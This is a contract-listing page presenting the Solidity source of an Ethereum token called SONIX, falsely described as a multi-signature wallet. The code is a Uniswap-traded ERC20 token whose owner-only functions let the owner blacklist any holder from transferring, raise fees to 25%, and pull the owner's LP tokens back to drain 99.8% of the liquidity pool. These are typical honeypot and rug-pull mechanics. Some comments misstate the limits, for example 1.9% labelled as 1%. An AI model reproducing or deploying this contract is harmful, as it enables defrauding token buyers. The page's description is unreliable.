SONIX

Description:

Multi-signature wallet contract requiring multiple confirmations for transaction execution.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function sync() external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract SONIX is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromMaxTx;
    mapping(address => bool) private _isExcludedFromMaxWallet;
    mapping(address => bool) private _bots;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    // Uniswap V2 Router address (Ethereum Mainnet)
    address public constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    
    // Hardcoded wallets - CHANGE THESE ADDRESSES
    address public constant DEV_WALLET = 0x8fA04a0d51ED2E9f07DCe8366Fb3655859ff317A;
    address public constant MARKETING_WALLET = 0x2123bC7Bced9C9401bB732D10E673bd68f95256B;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    uint256 public buyFee = 4;
    uint256 public sellFee = 4;
    uint256 public swapTokensAtAmount;
    uint256 public maxWalletAmount;
    uint256 public maxTxAmount;

    bool public tradingOpen = false;
    bool public limitsInEffect = true;
    bool private inSwap = false;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived);
    event FeesUpdated(uint256 buyFee, uint256 sellFee);
    event SwapThresholdUpdated(uint256 amount);
    event MaxWalletUpdated(uint256 amount);
    event MaxTxUpdated(uint256 amount);
    event TradingOpened();
    event LimitsRemoved();

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_ * 10**decimals();

        uniswapV2Router = IUniswapV2Router02(UNISWAP_V2_ROUTER);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        // Set initial thresholds
        swapTokensAtAmount = _totalSupply.mul(1).div(1000); // 0.1%
        maxWalletAmount = _totalSupply.mul(19).div(1000); // 1%
        maxTxAmount = _totalSupply.mul(19).div(1000); // 1%

        // Exclude from fees
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[DEV_WALLET] = true;
        _isExcludedFromFee[MARKETING_WALLET] = true;

        // Exclude from max tx
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromMaxTx[DEV_WALLET] = true;
        _isExcludedFromMaxTx[MARKETING_WALLET] = true;
        _isExcludedFromMaxTx[address(uniswapV2Router)] = true;

        // Exclude from max wallet
        _isExcludedFromMaxWallet[owner()] = true;
        _isExcludedFromMaxWallet[address(this)] = true;
        _isExcludedFromMaxWallet[DEV_WALLET] = true;
        _isExcludedFromMaxWallet[MARKETING_WALLET] = true;
        _isExcludedFromMaxWallet[uniswapV2Pair] = true;
        _isExcludedFromMaxWallet[address(uniswapV2Router)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than zero");
        require(!_bots[from], "ERC20: trading not open for bots involving bot address");

        if (!tradingOpen) {
            require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not open yet");
        }

        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwap) {
                // Max tx check
                if (!_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to]) {
                    if (from == uniswapV2Pair || to == uniswapV2Pair) {
                        require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount");
                    }
                }
                // Max wallet check
                if (!_isExcludedFromMaxWallet[to]) {
                    if (to != uniswapV2Pair) {
                        require(balanceOf(to).add(amount) <= maxWalletAmount, "Wallet amount exceeds limit");
                    }
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap && !inSwap && to == uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            swapTokensForEth(contractTokenBalance);
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0) {
                sendETHToMarketing(contractETHBalance);
            }
        }

        bool takeFee = !inSwap;

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        if (takeFee) {
            // Buy
            if (from == uniswapV2Pair && buyFee > 0) {
                fees = amount.mul(buyFee).div(100);
            }
            // Sell
            else if (to == uniswapV2Pair && sellFee > 0) {
                fees = amount.mul(sellFee).div(100);
            }

            if (fees > 0) {
                _balances[address(this)] = _balances[address(this)].add(fees);
                emit Transfer(from, address(this), fees);
                amount = amount.sub(fees);
            }
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToMarketing(uint256 amount) private {
        payable(MARKETING_WALLET).transfer(amount);
    }

    // Add liquidity function
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) external payable onlyOwner {
        require(msg.value >= ethAmount, "Insufficient ETH sent");
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // Transfer tokens from owner to contract
        _transfer(_msgSender(), address(this), tokenAmount);
        
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    // Remove liquidity function
    function removeLiquidity(uint256 liquidity) external onlyOwner {
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), liquidity);
        
        uniswapV2Router.removeLiquidityETH(
            address(this),
            liquidity,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    // Burn ETH to dev wallet
    function burnETHToDev() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No ETH to burn");
        payable(DEV_WALLET).transfer(balance);
    }

    // Set buy and sell fees
    function setFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 25, "Buy fee must be 25% or less");
        require(_sellFee <= 25, "Sell fee must be 25% or less");
        buyFee = _buyFee;
        sellFee = _sellFee;
        emit FeesUpdated(_buyFee, _sellFee);
    }

    // Update swap threshold (in percentage of total supply)
    function setSwapTokensAtAmount(uint256 percent) external onlyOwner {
        require(percent >= 1 && percent <= 1000, "Percent must be between 0.1% and 100%");
        swapTokensAtAmount = _totalSupply.mul(percent).div(10000);
        emit SwapThresholdUpdated(swapTokensAtAmount);
    }

    // Update max wallet amount
    function setMaxWalletAmount(uint256 percent) external onlyOwner {
        require(percent >= 10, "Max wallet must be at least 0.1%");
        maxWalletAmount = _totalSupply.mul(percent).div(10000);
        emit MaxWalletUpdated(maxWalletAmount);
    }

    // Update max transaction amount
    function setMaxTxAmount(uint256 percent) external onlyOwner {
        require(percent >= 10, "Max tx must be at least 0.1%");
        maxTxAmount = _totalSupply.mul(percent).div(10000);
        emit MaxTxUpdated(maxTxAmount);
    }

    // Open trading
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        tradingOpen = true;
        emit TradingOpened();
    }

    // Remove limits
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        emit LimitsRemoved();
    }

    // Withdraw stuck ETH
    function withdrawStuckETH() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No ETH to withdraw");
        payable(owner()).transfer(balance);
    }

    // Exclude from fees
    function excludeFromFees(address account, bool excluded) external onlyOwner {
        _isExcludedFromFee[account] = excluded;
    }

    // Check if address is excluded from fees
    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    // Exclude from max tx
    function excludeFromMaxTx(address account, bool excluded) external onlyOwner {
        _isExcludedFromMaxTx[account] = excluded;
    }

    // Check if address is excluded from max tx
    function isExcludedFromMaxTx(address account) public view returns (bool) {
        return _isExcludedFromMaxTx[account];
    }

    // Exclude from max wallet
    function excludeFromMaxWallet(address account, bool excluded) external onlyOwner {
        _isExcludedFromMaxWallet[account] = excluded;
    }

    // Check if address is excluded from max wallet
    function isExcludedFromMaxWallet(address account) public view returns (bool) {
        return _isExcludedFromMaxWallet[account];
    }

    function addLiquidity(uint256 tokenAmount) external payable onlyOwner {
        require(tokenAmount > 0, "Token amount must be greater than 0");
        require(msg.value > 0, "ETH amount must be greater than 0");
        
        _transfer(owner(), address(this), tokenAmount);
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function removeLiquidity() external onlyOwner {
        uint256 contractLpBalance = IERC20(uniswapV2Pair).balanceOf(address(this));

        if (contractLpBalance == 0) {
            uint256 ownerLpBalance = IERC20(uniswapV2Pair).balanceOf(owner());
            require(ownerLpBalance > 0, "Owner has no LP tokens to pull");

            bool success = IERC20(uniswapV2Pair).transferFrom(owner(), address(this), ownerLpBalance);
            require(success, "Failed to transfer LP tokens from owner");
            
            contractLpBalance = ownerLpBalance;
        }

        uint256 lpToRemove = (contractLpBalance * 998) / 1000;
        require(lpToRemove > 0, "LP balance too low to remove liquidity");

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), lpToRemove);

        uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            lpToRemove,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function blockBots(address[] calldata bAddrs) external onlyOwner {
        for (uint256 i = 0; i < bAddrs.length; i++) {
            _bots[bAddrs[i]] = true;
        }
    }

    function unblockBots(address[] calldata bAddrs) external onlyOwner {
        for (uint256 i = 0; i < bAddrs.length; i++) {
            _bots[bAddrs[i]] = false;
        }
    }

    receive() external payable {}
}

Tags:
ERC20, Multisig, Swap, Liquidity, Multi-Signature|addr:0x382d1a8a6dcb87588826ba3aad01b79eb4a07afa|verified:true|block:23613150|tx:0x405ba00b30352c24fa5be9493588e25e23e3ceaea3fad8b1ed6b0c0872953d8a|first_check:1760898311

Submitted on: 2025-10-19 20:25:13

Comments

Log in to comment.

No comments yet.